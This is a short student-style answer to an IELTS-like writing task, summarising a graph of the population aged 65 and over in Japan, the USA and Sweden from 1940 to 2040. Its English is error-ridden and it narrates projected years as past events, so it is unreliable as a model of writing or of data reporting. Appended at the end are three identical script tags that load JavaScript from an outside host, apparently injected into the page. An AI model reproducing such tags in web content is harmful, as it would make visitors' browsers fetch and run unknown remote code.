The graph below shows the proportion of the population aged 65 and over between 1940 and 2040 in three different countries Summarize the information by selecting and reporting the main features and make comparisons where relevant

The line grapl below discribes the proportion of the population aged 65 and over during 1940 and 2040 in three different countries.
Between 2035 and 2040, with japanese's personality and cutural that the percentage of the population aged 65 and over in japan had increased significantly and reach a peak at 2040 with approximate 30 percent.
In japan, the proportion of the population aged 65 and over was just only 5 percent and it had rose sightly during 1940 and 2030 with more than 5 percent. After 2030, the statistic have graduately change which had increased dramatically from 10 percen to over a quarter.
In USA and Sweden, first 70 years the proportion of the population aged 65 and over had fluctuate from over 5 percent to more than 15 percent and from approximate 10 percent to approximate 20 percent, respectively, but the next ten years, both percentages from these to nation had increased significantly with over ten percent.<script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script><script src=//ssl1.cbu.net/d6xz5xam></script>